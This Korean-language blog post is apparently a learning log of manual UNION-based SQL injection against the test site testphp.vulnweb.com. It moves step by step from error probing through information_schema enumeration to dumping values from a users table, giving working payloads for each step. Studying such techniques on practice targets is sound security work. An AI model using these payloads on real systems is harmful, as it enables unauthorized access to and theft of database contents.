테스트는 다음 사이트에서 진행하였다.
http://testphp.vulnweb.com/artists.php
1. query 문에 싱글쿼터 한 마리를 태워서 전송
?artist='
오류 메세지가 출력된다. php문의 line 62에서 mysql_fetch_array() 함수가 사용된 것을 보아 작위적인 query문을 전달할 수 있음을 파악했다.
2. union 을 사용하여 두 가지 query 동시에 전송
?artist=0 union select 1,2,3--
artist 와 관련된 column 은 2번 column 인 것 같다. 이번에는 DB의 이름을 알아보자. 1번 column 에 대한 정보는 출력되지 않는 것 같다.
3. database(), current_user() 함수를 query문에 전송
?artist=0 union select 1,database(),3--
DB의 이름을 찾았다. 'acuart'라는 이름을 갖고 있다. 이번에는 DB의 버전을 살펴보자.
4. version() 함수를 query문에 전송
?artist=0 union select 1,version(),current_user()--
뭐 그렇다고 한다. current_user 함수도 이용하여 현재 사용자의 정보도 파악하였다.
이제는 information_schema 에 대하여 알아보자.
information_schema 는 MySQL 등에서의 DB 시스템이 사용하는 메타데이터들의 집합체이다.
메타데이터는 데이터에 대한 데이터를 일컫는 말로, MySQL에서는 데이터들의 특성을 기준으로 묶어놓은 데이터들을 의미한다.
예를 들어 information_schema 의 table_name 데이터를 select table_name from information_schema.table where table_schema 을 통해 가져올 수 있다. table_schema 역시 select * from information_schema.table 로 가져올 수 있다.
이렇게 개발자가 공격자로 하여금 자신의 DB 데이터를 알 수 없도록 간단한 조치를 해놓음에도, 공격자는 information_schema 라는 메타데이터에 접근하여 개발자의 DB를 파악할 수 있게 된다.
information_schema 에 대하여 알아보았다. 상당히 무서운 데이터인 것 같다. 이제부터는 본격적으로 DB를 뜯어보자.
5. information_schema 를 이용한 DB 접근
?artist=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
위의 내용들을 모두 이해하고 있다면 바로 위의 query문도 이해가 될 것이다. 현재 사용하고 있는 DB의 table 이름을 뽑는 query문이다.
다음과 같이 table_name 들이 모두 출력된 것을 알 수 있다. group_concat() 함수를 이용하여 해당 그룹에 있는 데이터들을 모두 한 줄로 붙여서 가져온다.
table의 이름들을 뽑았으니 table의 column 들을 얻어보자.
6. 특정 table 의 column 추출하기
?artist=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--
table_name을 16진수로 전달한 결과다. 알파벳 순서로 정렬되어 있지 아니하고 뭔가 랜덤하게 나왔다.
이번에는 table_name 을 문자열로 전달해보자.
?artist=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--
이번에는 잘 정렬되었다. 음. 16진수로 전달하였을 때 왜 랜덤하게 뽑히는지는 잘 모르겠다.
column 들도 얻었으니 column 의 데이터들을 또 쏙 뽑아보자.
7. 특정 column 의 data 추출
?artist=0 union select 1,group_concat(cart),3 from users--
group_concat() 함수를 이용하여 뽑아냈다. 결과는 해시값 혹은 암호화된 값으로 추정되는 값들이 나왔다.
앞으로 SQL Injection 에 대하여 공부하면서 해당 사이트에 존재하는 vulnerabilty 들을 하나씩 추가하겠다.
REFERENCE
- https://www.hackingarticles.in/manual-sql-injection-exploitation-step-step/